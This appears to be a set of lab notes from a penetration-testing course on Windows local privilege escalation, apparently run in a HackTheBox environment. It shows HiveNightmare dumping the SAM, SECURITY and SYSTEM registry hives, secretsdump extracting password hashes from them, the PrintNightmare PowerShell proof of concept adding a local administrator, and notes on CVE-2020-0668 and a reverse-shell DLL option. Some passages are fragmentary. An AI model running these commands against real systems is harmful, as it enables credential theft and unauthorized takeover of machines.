Windows 10 flaw that results in ANY user having rights to read the Windows registry and access sensitive information regardless of privilege level. Researchers quickly developed a PoC exploit to allow reading of the SAM, SYSTEM, and SECURITY registry hives and create copies of them to process offline later and extract password hashes (including local admin) using a tool such as SecretsDump.py
PS C:\Users\htb-student\Desktop> .\HiveNightmare.exe
HiveNightmare v0.6 - dump registry hives as non-admin users
Specify maximum number of shadows to inspect with parameter if wanted, default is 15.
Running...
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
Success: SAM hive from 2021-08-07 written out to current working directory as SAM-2021-08-07
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
Success: SECURITY hive from 2021-08-07 written out to current working directory as SECURITY-2021-08-07
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
Success: SYSTEM hive from 2021-08-07 written out to current working directory as SYSTEM-2021-08-07
Assuming no errors above, you should be able to find hive dump files in current working directory.
impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local
By default, this script adds a new local admin user, but we can also supply a custom DLL to obtain a reverse shell or similar if adding a local admin user is not in scope.
Checking for Spooler Service
PS C:\htb> ls \\localhost\pipe\spoolss
Directory: \\localhost\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
spoolss
Adding Local Admin with PrintNightmare PowerShell PoC
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
PS C:\htb> net user hacker
User name hacker
Full Name hacker
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set ?8/?9/?2021 12:12:01 PM
Password expires Never
Password changeable ?8/?9/?2021 12:12:01 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
We can search for each KB (Microsoft Knowledge Base ID number) in the Microsoft Update Catalog to get a better idea of what fixes have been installed and how far behind the system may be on security updates.
CVE-2020-0668 Example
C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Building the solution should create the following files.
We can use the exploit to create a file of our choosing in a protected folder such as C:\Windows\System32. We aren't able to overwrite any protected Windows files. This privileged file write needs to be chained with another vulnerability, such as UsoDllLoader or DiagHub to load the DLL and escalate our privileges. However, the UsoDllLoader technique may not work if Windows Updates are pending or currently being installed, and the DiagHub service may not be available.
We can also look for any third-party software, which can be leveraged, such as the Mozilla Maintenance Service. This service runs in the context of SYSTEM and is startable by unprivileged users. The (non-system protected) binary for this service is located below.
